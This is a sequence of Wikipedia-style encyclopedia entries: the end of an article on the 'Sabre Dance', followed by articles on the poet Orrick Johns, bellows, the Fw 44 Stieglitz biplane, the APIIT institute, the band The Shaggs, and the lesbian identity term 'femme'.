Films in which the "Sabre Dance" was used include The Barkleys of Broadway (1949), One, Two, Three (1961), The System (1964), The Seven Brides of Lance-Corporal Zbruyev (1970), Amarcord (1973), Well, Just You Wait! 6th episode "Countryside" (1973), Pee-wee's Big Adventure (1985), Jumpin' Jack Flash (1986), Repentance (1987), Punchline (1988), Hocus Pocus (1993), Radioland Murders (1994), The Hudsucker Proxy (1994), Don't Drink the Water (1994), I Married a Strange Person! (1997), Vegas Vacation (1997), A Simple Wish (1997), Blues Brothers 2000 (1998), The Lion King 1½ (2004), Kung Fu Hustle (2005), Scoop (2006), Sicko (2007), Ghost Town (2008), Witless Protection (2008), Le Concert (2009), Pájaros de papel (2010), Sabre Dance (2015). In his frenzied comedy One, Two, Three, director Billy Wilder used the dance repeatedly for comic effect, including a crazed chase through East Berlin, and the chaotic closing ride to the airport featuring James Cagney and Horst Bucholz. It was also played briefly in Madagascar 3: Europe's Most Wanted. A band plays the song in the beginning of the movie Hotel Transylvania: Transformania.
Video games
Video games in which the "Sabre Dance" was used include:
Road Runner (the 1985 Atari System 1 arcade version).
Sleeping Dogs on the classical Boosey and Hawkes radio station.
Final Fantasy IV, as background music for the dancing girls' routines.
Aero the Acro-Bat, as the music in the very first stage (Sega Genesis version), or possibly the 'invulnerability' theme in other versions.
StepManiaX, as a remixed version of it by MonstDeath.
In sports
The National Hockey League (NHL)'s Buffalo Sabres have used the piece as a theme song since the team was established in 1970. After a hiatus, the "Sabre Dance" was again made their theme song in 2011.
In 2010–13, the "Sabre Dance" was played at Donbass Arena, the venue of the Ukrainian football club Shakhtar Donetsk, whenever the Armenian football player Henrikh Mkhitaryan scored a goal.
The "Sabre Dance" was featured in the 2014 Winter Olympics opening ceremony held in Fisht Olympic Stadium, Sochi, Russia on February 7.
Figure skating
The "Sabre Dance" has been used by numerous figure skaters, including:
References
Notes
Citations
Compositions by Aram Khachaturian
Ballets by Aram Khachaturian
Buffalo Sabres
1942 compositions
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241242 | https://en.wikipedia.org/wiki/Orrick%20Glenday%20Johns | Orrick Glenday Johns | Orrick Glenday Johns (June 2, 1887 – July 8, 1946) was an American poet and playwright. He was one of the earliest modernist free-verse poets in Greenwich Village in 1913-1915 and associated with the artist's colony at Grantwood, New Jersey (sometimes referred to as Ridgefield), where Others: A Magazine of the New Verse was founded and published by Alfred Kreymborg in 1915. Johns's work "Olives," a series of fourteen small poems appeared in the first issue of July 1915. He is part of a coterie of poets and authors sometimes called the "Others" group who were contributors to the magazine or residents at the colony and included: William Carlos Williams, Wallace Stevens, Marianne Moore, Mina Loy, Ezra Pound, Conrad Aiken, Carl Sandburg, T. S. Eliot, Amy Lowell, H.D., Djuna Barnes, Man Ray, Skipwith Cannell, Lola Ridge, Marcel Duchamp, and Fenton Johnson (poet) (the only African American published in the magazine). Johns is also associated with poets like Vachel Lindsay and Sara Teasdale. and the dramatist Zoe Akins
Early life
Johns was born in St. Louis, Missouri, to George Sibley Johns and Minnehaha McDearmon. George Sibley Johns was the editor of the St. Louis Post Dispatch. George and Minnehaha had six sons. They moved around St. Louis a lot before the settled into a house on Cabanne Place when Orrick was six years old. He lost a leg in a streetcar accident one year later. After the accident, Johns's family had to give up their home on Cabanne Place and move across the tracks to Maple avenue. Johns spent six months in bed recovering from the amputation and spent his time reading and developing a love of writing and publishing. The trolley company was deemed liable for the accident and the family was awarded a small sum. The accident spurred George Sibley Johns as one of Joseph Pulitzer's "Fighting Editors" to start a newspaper campaign to have the trolleys install better brakes and put fenders on the cars.
Johns was educated locally at public schools, including Dozier School, Central High School, and the University of Missouri. After graduating Johns held several jobs and eventually landed at Reedy's Mirror as a drama critic by William Marion Reedy. This position gave him his first experience writing professionally.
Career
Johns first gained a national reputation as a poet in 1912. His poem, "Second Avenue," won The Lyric Year poetry contest, despite competing against Edna St. Vincent Millay's later famed "Renascence." The backer of the contest, Ferdinand P. Earle, chose Millay as the winner. Earle sent a letter informing Millay of her win before consulting with the other judges, who had previously and separately agreed on a criteria for a winner to winnow down the massive flood of entrants. According to the remaining judges, the winning poem had to exhibit social relevance, which "Renascence" did not. Johns's "Second Avenue" was about the "squalid scenes" Johns saw on Eldridge Street and lower Second Avenue on the Lower East Side when he was in New York. It coalesced after seeing a speech by anarchist Emma Goldman on New Year's Eve 1912. The judges had already awarded Johns the win for this reason, and Millay placed fourth. Controversy ensued and played out in newspaper columns and editorial pages and made both Millay and Johns widely known. Johns received hate mail and made clear he felt her poem was the better one and avoided the awards banquet in his honor. Between 1913 and 1915, Johns lived in Greenwich Village in New York City. He then moved back to St. Louis for three years, where he wrote some of his best works. In his Greenwich Village days, he was known as one of the Lyrical Left—more bohemian than doctrinaire—and did not fully commit to Left politics until he joined the Communist Party briefly in the early 1930s.
Johns published three volumes of poetry, Black Branches, Asphalt and Wild Plum in the Teens and early1920s. He wrote a novel, Blindfold, and a very successful play, A Charming Conscience, which provided him with enough money to reside in Italy for three years. Johns returned to the United States in 1929 and moved to Carmel, California, where he married his third wife. In Carmel, Johns became involved with union organizing and also wrote for Communist newspapers. Johns was an editor of the New Masses.
From 1935 to 1937, Johns was the supervisor of the WPA Writers' Project in New York City. His leftist politics drew negative attention in the media and occasional death threats. He resigned from the WPA project in 1937 and published Time of Our Lives: The Story of My Father and Myself, a work that is part autobiography and part biography of his father, George Sibley Johns, who was editor of the St. Louis Post-Dispatch and ran the paper after its owner Joseph Pulitzer went to New York to establish the New York World.
In 1938, Johns moved to Connecticut with his fourth wife, Doria Berton, and continued to write articles and short stories.
Personal life
His first wife was Margarite Frances Baird, also known as Peggy Baird and Peggy Cowley from her second marriage to Malcolm Cowley. Johns was married to Grace Wilson from 1917-1926. His third wife was Caroline Blackman (1929-1936) who bore him a daughter named Charis in 1931, and subsequently was institutionalized for mental illness. She starved herself to death in a sanitarium. His fourth wife was Doria Berton (1937-1946) who bore him a daughter named Deborah.
Orrick Johns committed suicide by poisoning himself in Danbury, Connecticut. on July 8, 1946.
He is mentioned in Kenneth Rexroth's poem "Thou Shalt Not Kill" as "hopping into the surf on his one leg".
Bibliography
1917 - Asphalt and Other Poems
1920 - Black Branches, A Book of Poetry and Plays
1923 - A Charming Conscience, a play
1925 - Blindfold, a novel
1926 - Wild Plum: Lyrics, with Sonnets to Charis
1937 - Time of Our Lives: The Story of My Father and Myself, autobiography
References
Johns, Orrick and George Sibley Johns, Time of Our Lives: The Story of My Father and Myself, , 1937
External links
Collection of letters from Sara Teasdale to Orrick Johns.
1887 births
1946 suicides
American male poets
Poets from Missouri
Writers from St. Louis
Suicides in Connecticut
Suicides by poison
American male dramatists and playwrights
20th-century American poets
20th-century American dramatists and playwrights
20th-century American male writers
1946 deaths | [
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241247 | https://en.wikipedia.org/wiki/Bellows | Bellows | A bellow or pair of bellows is a device constructed to furnish a strong blast of air. The simplest type consists of a flexible bag comprising a pair of rigid boards with handles joined by flexible leather sides enclosing an approximately airtight cavity which can be expanded and contracted by operating the handles, and fitted with a valve allowing air to fill the cavity when expanded, and with a tube through which the air is forced out in a stream when the cavity is compressed. It has many applications, in particular blowing on a fire to supply it with air.
The term "bellows" is used by extension for a flexible bag whose volume can be changed by compression or expansion, but not used to deliver air. For example, the light-tight (but not airtight) bag allowing the distance between the lens and film of a folding photographic camera to be varied is called a bellows.
Etymology
"Bellows" is only used in plural. The Old English name for "bellows" was , 'blast-bag', 'blowing-bag'; the prefix was dropped and by the eleventh century the simple , , ('bag') was used. The word is cognate with "belly". There are similar words in Old Norse, Swedish, and Danish and Dutch (blaasbalg), but the derivation is not certain. 'Bellows' appears not to be cognate with the apparently similar Latin .
Metallurgy
Several processes, such as metallurgical iron smelting and welding, require so much heat that they could only be developed after the invention, in antiquity, of the bellows. The bellows are used to deliver additional air to the fuel, raising the rate of combustion and therefore the heat output.
Various kinds of bellows are used in metallurgy:
Box bellows were and are traditionally used in East Asia.
Pot bellows were used in ancient Egypt.
Tatara foot bellows from Japan.
Accordion bellows, with the characteristic pleated sides, have been used in Europe for many centuries.
Piston bellows developed in Southeast Asia (probably by the Austronesian peoples) using the principles of the similarly indigenous fire piston. It led to the independent development of bronze and iron metallurgy in Southeast Asia. They were present in various Southeast Asian cultures, and the technology was transported to Madagascar via the Austronesian expansion.
The technology was later adopted and refined by the Han Chinese into the double-action piston bellows, replacing the native Chinese ox hide pot or drum bellows completely.
Piston bellows were independently developed in the middle of the 18th century in Europe.
Metal bellows were made to absorb axial movement in a dynamic condition. Often referred to as Axial Dynamics bellows types.
Chinese bellows were originally made of ox hide with two pots as described in Mozi's book on military technology in the Warring States Period (4th century BC). By the Han Dynasty, contact with Southeast Asian cultures exposed the Chinese to the bamboo-based piston bellows of Southeast Asians. The acquired piston bellows technology completely replaced the Chinese ox hide bellows that by the Song Dynasty, the ox hide bellows were completely extinct. The Han Dynasty Chinese mechanical engineer Du Shi (d. 38) is credited with being the first to use hydraulic power on a double-action piston pumps, through a waterwheel, to operate bellows in metallurgy. His invention was used to operate piston bellows of blast furnaces in order to forge cast iron. The ancient Greeks, ancient Romans, and other civilizations used bellows in bloomery furnaces producing wrought iron. Bellows are also used to send pressurized air in a controlled manner in a fired heater.
In modern industry, reciprocating bellows are usually replaced with motorized blowers.
Double-acting piston bellows
Double-acting piston bellows are a type of bellows used by blacksmiths and smelters to increase the air flow going into the forge, with the property that air is blown out on both strokes of the handle (in contrast to simpler and more common bellows that blow air when the stroke is in one direction and refill the bellows in the other direction). These bellows blow a more constant, and thus stronger, blast than simple bellows. Such bellows existed in China at least since the 5th century BC, when it was invented, and had reached Europe by the 16th century. In 240 BC, The ancient Greek inventor Ctesibius of Alexandria independently invented a double-action piston bellow used to lift water from one level to another.
A piston is enclosed in a rectangular box with a handle coming out one side. The piston edges are covered with feathers, fur, or soft paper to ensure that it is airtight and lubricated. As the piston is pulled, air enters from the far side and the air in the near chamber is compressed and forced into a side chamber, where it flows through the nozzle. Then as it is pushed air enters from the near side and the air in the far chamber flows through the same nozzle.
Double-lung accordion bellows
These have three leaves. The middle leaf is fixed in place. The bottom leaf is moved up and down. The top leaf can move freely and has a weight on it. The bottom and the middle leaves contain valves, the top one does not. Only the top lung is connected to the spout.
When the bottom leaf is moved up, air is pumped from the bottom lung into the top lung. At the same time air is leaving the bellows from the top lung through the spout, but at a slower rate. This inflates the top lung. Next the bottom leaf is moved down to pull fresh air into the bellows. While this happens the weight on the top leaf pushes it down, so air keeps leaving through the spout.
This design does not increase the amount of air flow going into the forge, but provides a more constant air flow compared to a simple bellows. It also provides more even air flow than two simple bellows pumped alternately or one double-acting piston bellows.
Primitive bellows
In archaeological ruins of the Levant, archaeologists have found primitive pot bellows, consisting of a ceramic pot to which a loose leather hide had been attached at the top. Such pot bellows were constructed with a wide rim, so that the hide covering would transmit a maximum amount of air when pumped. The covering was fastened to the pot with a cord under an out-turned rim, or in a groove just below the rim exterior. An opening near the base served to insert a pipe of pen shapable material whose purpose was to direct the air blast to either the furnace or crucible, and which was usually done through the mediation of a tuyère. Tuyères used in conjunction with pot bellows had the function of protecting the ends of perishable tubes leading from the pot into the fire. Places in Saharan Africa still make use of primitive pot bellows.
Further applications
Fluid transfer applications
Bellows are used extensively in hydraulic power circuits and cooling loops.
They are an essential part of anesthesia machines.
Cuckoo clocks use bellows to blow air through their gedackt (pipes) and imitate the call of the Common Cuckoo bird.
Musical instruments may employ bellows as a substitute or regulator for air pressure provided by the human lungs:
Accordion, concertina and related instruments
Reed organ
Pipe organ
Musette de cour and some other varieties of bagpipes
Harmonium and melodeon
Portative
Expansion joint applications
The term "bellows" is used by extension for a number of applications that do not involve air transfer.
Bellows are widely used in industrial and mechanical applications such as rod boots, machinery way covers, lift covers and rail covers to protect rods, bearings and seals from dirt.
Bellows are widely used on articulated buses and trams, to cover the joint where the vehicle bends.
Bellows are used in mechanical aneroids by acting as a precision indicator of pressure levels based on their lateral movement.
Bellows tubing, a type of lightweight, flexible, extensible tubing may be used for delivery of gas or air at near-ambient pressure, as in early aqua-lung designs.
Folding and view cameras use bellows to exclude light while allowing the lens to be moved relative to the film plane for focusing and, mainly in view cameras, to allow the lens to slide and tilt to control the image (camera movements).
Piping expansion joint: In this application, bellows are formed in series to absorb thermal movement and vibration in piping systems that transport high temperature media such as exhaust gases or steam.
Beekeeping
Bee smokers have bellows attached to the side to provide air to a slow burning fuel. This allows for an increased rate of combustion and a temporarily higher output of smoke on command, something desirable when calming domesticated bees.
Gallery
See also
Sylphon for uses of metal bellows in experimental physics and engineering.
References
Notes
Bibliography
https://web.archive.org/web/20070919010534/http://www.archaeogate.org/egittologia/article/182/8/mersa-gawasis-red-sea-egypt-unoisiao-and-bu-2003-2004-f.html .
Gernet, Jacques, trans. by J. R. Foster (1972): A History of Chinese Civilization, Cambridge University Press.
External links
Moyse - Richard J. and Clarence L. Patent-"Method of Making Bellows"- Jan. 1980 - US4325769-A-http://www.google.com/patents/US432576
Fireplaces
Ancient Egyptian technology
Ancient Greek technology
Ancient Roman technology
Chinese inventions
Greek inventions
Tools | [
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241249 | https://en.wikipedia.org/wiki/Focke-Wulf%20Fw%2044%20Stieglitz | Focke-Wulf Fw 44 Stieglitz | The Focke-Wulf Fw 44 Stieglitz ("Goldfinch") is a 1930s German two-seat biplane. An early design by Kurt Tank, it was produced by the Focke-Wulf company as a pilot training and sports flying aircraft. It was also eventually built under license in several other countries.
Design and development
The Fw 44 was designed as a biplane with conventional layout and straight, untapered wings. Its two open cockpits were arranged in tandem, and both cockpits were equipped with flight controls and instruments. The Fw 44 had fixed tailwheel landing gear. It employed ailerons on both upper and lower wings. It did not use flaps. It was flown with a Siemens-Halske Sh 14 radial engine.
The first prototype flew in 1932. After many tests and modifications to increase the plane's durability and aerodynamics, the final Fw 44 proved to have excellent airworthiness.
A second version of the Fw 44 was the Fw 44B, which had an Argus As 8 four-cylinder inverted inline air-cooled engine of 90 kW (120 hp). The cowling for this engine gave the plane a more slender, aerodynamic nose.
20 Fw 44s purchased by China were modified for combat missions, and participated in the early stage of the Second Sino-Japanese War until all were lost in action.
The last series version was the Fw 44J, which was sold or built under license in several countries around the world. It was equipped with a seven-cylinder Siemens-Halske Sh 14 radial engine.
Variants
Fw 44B
Fw 44C
Main production version with minor equipment changes, powered by a seven-cylinder Siemens-Halske Sh 14a radial piston engine.
Fw 44D
Fw 44E
Fw 44F
Fw 44J
Final production model, powered by a seven-cylinder Siemens-Halske Sh 14a radial piston engine.
Operators
Argentine Air Force
Argentine Naval Aviation
The aircraft was produced under license in 1937–1942 period
Austrian Air Force (1927-1938) – license production
Bolivian Air Force – one aircraft was delivered in November 1937
Brazilian Air Force
Brazilian Naval Aviation
– license production
Bulgarian Air Force – license production
Republic of China Air Force
Chilean Air Force – 15 aircraft delivered in February 1938
Colombian Air Force
Czechoslovakian Air Force (Postwar)
Suomen Ilmavoimat
Luftwaffe
Hungarian Air Force
Polish Air Force
Royal Romanian Air Force
Slovak Air Force (1939–45)
Spanish Air Force
Swedish Air Force – license production
Swiss Air Force
(1937–1962)
SFR Yugoslav Air Force – Postwar.
Specifications
Notes
Bibliography
Further reading
External links
Musee volant de l'Amicale Jean-Baptiste Salis
Commemorative Air Force
Biplanes.de's Fw 44 D-EMMI Stieglitz Photo Page (in German)
YouTube's D-EMMI Stieglitz Takeoff at Eisenhardt airshow in 2010
Biplanes.de's 85th Anniversary of Focke-Wulf's founding Stieglitz Fly-In Page (in German)
Fw 044
1930s German military trainer aircraft
World War II trainer aircraft of Germany
Biplanes
Single-engined tractor aircraft
Aircraft first flown in 1932 | [
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241250 | https://en.wikipedia.org/wiki/Asia%20Pacific%20Institute%20of%20Information%20Technology | Asia Pacific Institute of Information Technology | The Asia Pacific Institute of Information Technology (abbreviated as APIIT) () is an educational organisation specializing in providing education and training programs in computing and information technology. Founded by Datuk Dr Parmjit Singh and based originally in Malaysia, APIIT has since established other centers in Pakistan, India and Sri Lanka. The institute works in collaboration with selected universities in the United Kingdom and has produced more than 14,000 graduates.
History
Asia Pacific IIT was founded in 1993 as part of an initiative by the Malaysian Government to address the shortage of IT Professionals in the country. The newly formed Institute was based in Damansara Heights, Kuala Lumpur and offered Diploma courses in computing and IT.
In the following year, co-operative links were established with Monash University in Australia, leading to the launch of a twinning program in 1995 for Bachelor's degrees. This was followed in 1996 by a twinning relationship with Staffordshire University in UK for master's degree courses.
Expansion led to the opening of the Kuala Lumpur city campus in 1997, followed by campuses in Karachi, Pakistan (1998), Colombo, Sri Lanka (2000), Lahore, Pakistan (2000), Panipat, India (2001) and Perth, Australia (2004). In 2003 the Malaysian campus moved to new premises at Technology Park Malaysia, where it is now known as APIIT TPM.
The curriculum has since developed, with the institution recognize as SUN and Microsoft authorized training center in 1998, a SAP University Alliance Partner in 1999 and a Microsoft Certified Technical Education Center in 2001. APIIT gained University College status in 2004.
Programs and courses
Courses are run at four levels: foundation, diploma, degree and postgraduate.
It also offers English courses at their English Language Center for international and local students Students interested in engineering courses offered by APIIT can apply to its B.Tech course through NAT 2016 online exam that will be conducted on 3 June 2016.
Foundation program (Pre-university)
The one-year foundation program caters for student who have completed Form 5 studies and prepares them to move into a degree course.
Diploma programs
Diploma in Information and Communication Technology
Diploma in Information and Communication Technology with a specialism in Software Engineering
Diploma in Business with IT
Staffordshire University degree
BSc (Hons) in Computing with specialisms in:
Computing
Web Development
Multimedia Computing
Software Engineering
Mobile Computing
Artificial Intelligence
Knowledge Management
Computer Security
Biometrics
Data Analytics
Information Systems
BSc (Hons) in Business Computing with specialisms in:
Business Computing
Management
E-Marketing
BSc (Hons) in Business Information Technology
BSc (Hons) in E-Commerce
'BSc (Hons) Engineering
Postgraduate programs
Seven MSc programs are run: in "Software Engineering", "Technology Management", "Information Technology Management", "Multimedia Applications Management", "Electronic Commerce", "Mobile Computer Systems" and ''"Computing".
APU TPM, Malaysia
The Malaysia campus situated (at ) is a purpose-built complex in Technology Park Malaysia, about 20 km south of Kuala Lumpur center, close to the suburb of Bukit Jalil and National Sports Complex.
Facilities
The basic building for classes houses lecture rooms, auditoria, a multi-purpose hall, offices, discussion rooms, social space, cafeteria, library, computer labs and research and development facilities. The library affords access to eJournals and databases, some by arrangement with Staffordshire University. The cafeteria cater to both APIIT students and employees from other companies within the vicinity of Technology Park Malaysia.
Student accommodation is available locally in Vista Komanwel Condominiums, Fortune Park apartments and Endah Promenade Condomoniums. Shuttle bus service operates between the accommodation and campus. Initiative students may also go for alternatives by renting an apartment themselves, which saves them more money during their study period. 7-Eleven located in Arena Green apartments provide a posting board about apartment and car-park rentals, with a usual price range from RM700 – RM850 per unit depending on facilities provided by the unit's tenant.
New campus
APIIT has laid plans to build a new campus in Technology Park Malaysia by the end of 2014 which have been said to be completed since 2011. Due to delays, the new campus was completed in March 2017.
Transport links
The campus is situated close to Bukit Jalil LRT station for electric-trains to various parts of Kuala Lumpur and Selangor. It has excellent road links, by being situated close to the main PLUS North–South Expressway, KESAS Shah Alam Expressway and LDP Puchong–Sungai Besi Highway.
See also
Asia Pacific University of Technology & Innovation (APU)
References
External links
APIIT official website
Colleges in Malaysia
Information technology schools in Malaysia
Educational institutions established in 1993
Universities and colleges in Kuala Lumpur
1993 establishments in Malaysia | [
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241254 | https://en.wikipedia.org/wiki/The%20Shaggs | The Shaggs | The Shaggs were an American all-female rock and outsider music band formed in Fremont, New Hampshire in 1968. The band was composed of sisters Dorothy "Dot" Wiggin (vocals/lead guitar), Betty Wiggin (vocals/rhythm guitar), Helen Wiggin (drums) and, later, Rachel Wiggin (bass). They were occasionally joined on vocals by their brother Austin Jr. and nephew Robert.
Dot, Betty and Helen formed the Shaggs in 1968, on the insistence of their father, Austin Wiggin, who believed that his mother had predicted their rise to stardom. Their only studio album, Philosophy of the World, was released in 1969. It failed to garner attention, though the Shaggs continued to perform locally. They disbanded in 1975 after the death of Austin.
The Shaggs are notable for their perceived ineptitude at playing conventional rock music; they were described in one Rolling Stone article as "sounding like lobotomized Trapp Family singers." Terry Adams of NRBQ compared their melodic lines and structures to the free jazz compositions of Ornette Coleman.
History
Career
The conceptual beginning of the Shaggs came from Austin Wiggin's mother who, when her son was young, had predicted during a palmreading that he would marry a strawberry blonde woman, that he would have two daughters after she had died and that his daughters would form a popular music group. The first two predictions proved accurate, so Wiggin set about making the third come true as well. He withdrew his daughters from school, bought them instruments and arranged for them to receive music and vocal lessons. The Wiggin sisters never planned to become a music group, but as Dot later said, "[Austin] was something of a disciplinarian. He was stubborn and he could be temperamental. He directed. We obeyed. Or did our best." Austin named the Shaggs after the popular shag hairstyle and as a reference to shaggy dogs. In 1968, Austin arranged for the girls to play regular Saturday night gigs at the Fremont, New Hampshire town hall.
Dorothy, Helen and Betty recorded the album Philosophy of the World at Fleetwood Studio in Revere, Massachusetts in 1969. On the topic of the album, Cub Koda wrote, "There's an innocence to these songs and their performances that's both charming and unsettling. Hacked-at drumbeats, whacked-around chords, songs that seem to have little or no meter to them ... being played on out-of-tune, pawn-shop-quality guitars all converge, creating dissonance and beauty, chaos and tranquility, causing any listener coming to this music to rearrange any pre-existing notions about the relationships between talent, originality, and ability. There is no album you might own that sounds remotely like this one." A 2017 review of their work in The New Yorker noted that, while Dot and Betty Wiggin had written out their songs and had musical chemistry, Helen, the drummer, was often completely detached from what her sisters were playing.
The man who had promised to press 1,000 copies of Philosophy of the World reportedly absconded with 900 of them, as well as with the money paid to him. The rest were circulated to New England radio stations but attracted little attention, and Austin's dreams of superstardom for his girls were dashed. The band members themselves were appalled at how horrible the record sounded; years later, when it became popular, they were bewildered as to why.
Rediscovery
The most likely first instance of widespread publicity for the Shaggs was on the Dr. Demento show. In an early-1970s Dr. Demento show, Frank Zappa was a guest and was playing some of his favorite songs. He played a couple of Shaggs songs and professed his love for the album. There is a legend that Zappa called the Shaggs "better than the Beatles," though this quote actually originated with rock critic Lester Bangs, who wrote about Philosophy of the World in a 1981 article for The New Yorker.
In 1980, Terry Adams and Tom Ardolino of the band NRBQ, who owned an original copy of the LP and were fans of the music, convinced their record label, Rounder Records, to reissue Philosophy of the World. Upon the LP's release, Rolling Stone magazine accorded the Shaggs "Comeback of the Year" honors. The album was widely, if derisively, reviewed. Adams and Ardolino curated the 1982 album Shaggs' Own Thing, compiling unreleased recordings made between 1969 and 1975. In 1988, Dorothy Wiggin found the lost masters of Philosophy of the World in a closet; these and the tracks from Shaggs' Own Thing were remastered and released on Rounder as a self-titled compilation later that year.
Original pressings of Philosophy of the World are now quite valuable and highly sought-after by rare-record collectors. RCA Victor reissued the album on CD in 1999. The reissue was co-produced by Terry Adams and Irwin Chusid; the latter also wrote new liner notes. The New Yorker subsequently ran a lengthy profile of the Shaggs by staff writer Susan Orlean. The Shaggs played at the NRBQ 30th-anniversary celebration held at the Bowery Ballroom in New York, November 20-21, 1999. In 2001, the Animal World label released Better Than The Beatles, a Shaggs tribute album. The album featured Ida, Optiganally Yours, R. Stevie Moore, Deerhoof and Danielson Famille and others covering the Shaggs' songs.
The sisters' mother Annie Wiggin died in 2005, and Helen Wiggin died in 2006. Dot Wiggin released a solo album, Ready! Get! Go!, on Alternative Tentacles Records on October 29, 2013. The album contains new recordings of previously unrecorded Shaggs songs as well as new songs that Wiggin had written with her band. Dot and Betty performed a reunion show in 2017, curated by Wilco.
A stage musical about the Shaggs, Philosophy of the World, opened at the John Anson Ford Theatre in Los Angeles in November 2003. The show received its New York premiere in 2011 in a co-production between Playwrights Horizons and New York Theatre Workshop. A revival was staged in July 2019 at Bridge Street Theatre in Catskill, New York.
Members
Dorothy "Dot" Wiggin-Semprini – vocals, guitar (1968–1975, 1999, 2017)
Betty Wiggin-Porter – guitar, vocals (1968–1975, 1999, 2017)
Helen Wiggin-Bickford – drums (1968–1975)
Rachel Wiggin-Gould – bass guitar (1969–1975)
Austin Wiggin Jr. – vocals (1973)
Robert Wiggin – vocals (1973)
Timeline
Discography
Studio albums
Philosophy of the World (Original issue: Third World Records, TCLP 3001, 1969) (Reissue: Red Rooster/Rounder 3032, 1979)
Collections
Shaggs' Own Thing (Red Rooster/Rounder 1982)
The Shaggs (CD contains both Philosophy Of The World and Shaggs' Own Thing) (Rounder Records 1988)
Singles
"My Pal Foot Foot / Things I Wonder" (Fleetwood FL 4584, 1969, credited as the Shags)
Tribute albums
Better than the Beatles – A Tribute to the Shaggs (2001)
Various artists compilations
Songs in the Key of Z – The Curious Universe of Outsider Music (2000)
References
Chusid, Irwin. Songs in the Key of Z: The Curious Universe of Outsider Music. (Chicago) A Cappella, 2000. .
Guralnick, Peter. Da Capo Best Music Writing 2000. (New York) Da Capo Press, 2000. .
Notes
External links
Meet the Shaggs (biographical information)
Obituary for Helen Wiggin Bickford
All-female bands
Sibling musical trios
Garage rock groups from New Hampshire
Outsider musicians
Protopunk groups
Rock music groups from New Hampshire
Musical groups established in 1968
Musical groups disestablished in 1975
Musical groups reestablished in 1999
Musical groups reestablished in 2017
People from Rockingham County, New Hampshire | [
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241255 | https://en.wikipedia.org/wiki/Femme | Femme | Femme (; French language, meaning woman) is most often a term used to describe a lesbian who exhibits a feminine identity. It is sometimes also used by feminine gay men, bisexuals, and transgender individuals.
Heavily associated with lesbian history and culture, femme has been used among lesbians to distinguish traditionally feminine lesbians from their butch (i.e. masculine) lesbian counterparts and partners. Derived from American lesbian communities following World War II when women joined the work force, the identity became a characteristic of the working class lesbian bar culture of the 1940s–1950s. By the 1990s, the term femme had additionally been adopted by bisexual women.
1940s through 60s culture
Scholars Heidi M. Levitt and Sara K. Bridges state that the terms butch and femme are derived from the 1940s-1950s American lesbian communities following World War II "when women joined the work force and began wearing pants, creating the possibility for the development of a butch aesthetic and gender expression within gay women's communities." They state that "the butch-femme culture made lesbians visible for the first time."
Femme lesbian scholar Joan Nestle describes the femme lesbian identity as being underrepresented in historical records, with femme women having been often attacked for passing as straight while also being accused of imitating heteronormativity for pairing with a butch partner. In Nestle's text on femme identity, "The Femme Question", she challenges this commonly held belief by stating that butch-femme relationships are "filled with a deeply lesbian language of stance, dress, gesture, love, courage and autonomy." Arlene Istar Lev argues that through their subversive appropriation of heteronormative gender roles, these identities were considered "complex erotic and social statements" rooted in "gendered erotic identities". Nestle states that they publicly declared same-sex love between women at a time when there was no liberation movement to support or protect them, and adds that "in the 1950s particularly, butch-femme couples were the front-line warriors against sexual bigotry. Because they were so visible, they suffered the brunt of street violence. The irony of social change has made a radical, sexual, political statement of the 1950s appear today a reactionary, non feminist experience."
1970s and 80s, and rejection of femme during lesbian feminism
Lesbian feminism saw a rejection of the butch-femme dynamic and therefore femme identity. During the emergence of lesbian feminism, femme lesbians were accused by prominent lesbian feminist figures of aping patriarchal beauty standards for wearing traditional feminine clothing. Black lesbian feminist poet and activist Audre Lorde wrote in Tar Beach that "butch and femme role playing was the very opposite of what we felt being gay was all about – the love of women". During this period, femme lesbians were often shamed for their appearance, whilst androgyny was seen as the favored way to dismantle the gender binary by radical lesbian feminists. Much of the criticism towards femmes during this period was rooted in classism from middle-class feminist academics towards working-class lesbian women.
Many bisexual women also active in the lesbian community felt pressured to identify as "lesbian", resulting in bisexual erasure factoring into the history of femme identities. This is further impacted by the fact that bisexual communities and the related bisexual movement did not formalize until the 1970s.
1990s and early 21st-century expansion of femme identity
General
During the 1990s and the emergence of the lipstick lesbian identity into the mainstream, femme became a catch-all term to describe a feminine lesbian. Citing research from the 1990s, Levitt and Bridges stated that the terms butch and femme "began infiltrating bisexual communities, and women began writing about their experiences as bisexual femmes", but also that "very little empirical research has been conducted looking at the expression and experience of gender expression and gender identity within bisexual women."
With expansion of the femme identity, sexual attraction differences between butches and femmes began to be analyzed. Scholars Cheris Kramarae and Dale Spender wrote, "Femme diversity is also manifested in the sexual arena. As many femmes may be attracted exclusively to butches, some are attracted to other femmes, and still others are also attracted to men and consider themselves bisexual." Some research has indicated that butches are more likely to be exclusively lesbian, while femmes are sometimes bisexual. In 2005, preliminary research conducted by Levitt and Bridges indicated that lesbians are more likely to identify as butch and have a more masculine gender expression than bisexual women. 4.5 percent of the bisexual women they studied identified as butch compared to the 30.1 percent of lesbians who did. Lesbians were more sexually attracted to women whose gender expressions contrasted theirs, and bisexual women were more sexually attracted to those whose gender expressions were more similar to theirs. Levitt and Bridges theorized that "this finding may be in part due to the different aesthetics that are available and popular within lesbian and bisexual communities."
The term femme has also been used to refer to gender non-conforming people who do not identify as lesbian or to transgender or non-binary people. In 1994, Kate Bornstein chronicled their experience as a gender non-conforming person who is a femme lesbian in their book Gender Outlaw. Praising the publication of Ivan Coyote's Persistence: All Ways Butch and Femme in 2011, Bornstein said, "The butch/femme dynamic is a conscious, loving binary of desire and trust ... it's a dance of love and outlawed romance. Butches and femmes share a sense of tribe, extended family and kinship—no matter what our genders might be." Since the late 2010s, influenced by the emergence of queer and transgender culture on sites such as Tumblr, Everyday Feminism, and Autostraddle, femme has been expanded to describe feminine people across gender and sexuality categories including heterosexual women, cisgender men and transfeminine people.
The postmodern queer conception of femme is a femme-identified person who does not always dress or act in a "traditionally feminine" (meaning a feminine aesthetic, such as wearing makeup, heels, and numerous accessories) way, but who expresses femme identity through feminine-associated behaviours, interactions and political views. Rather than an erotic identity rooted in lesbian women's culture, queer femme has been reframed into a political identity that is inclusive of all who wish to identify with it, feminine-presenting or not. As femme has moved into the mainstream, it has also been connected to notions of emotional labor, witchcraft and self-empowerment.
Based on the understanding of femme as describing a person (not necessarily a woman) who presents femininely, the expression "women and femmes" is sometimes used, but it has been criticized as conflating two different categories of identity.
In 2011, Ivan Coyote published "To All the Beautiful, Kickass, Beautiful and Full-Bodied Femmes Out There", a poem which describes the challenges of invisibility experienced by femme women as witnessed through the butch gaze.
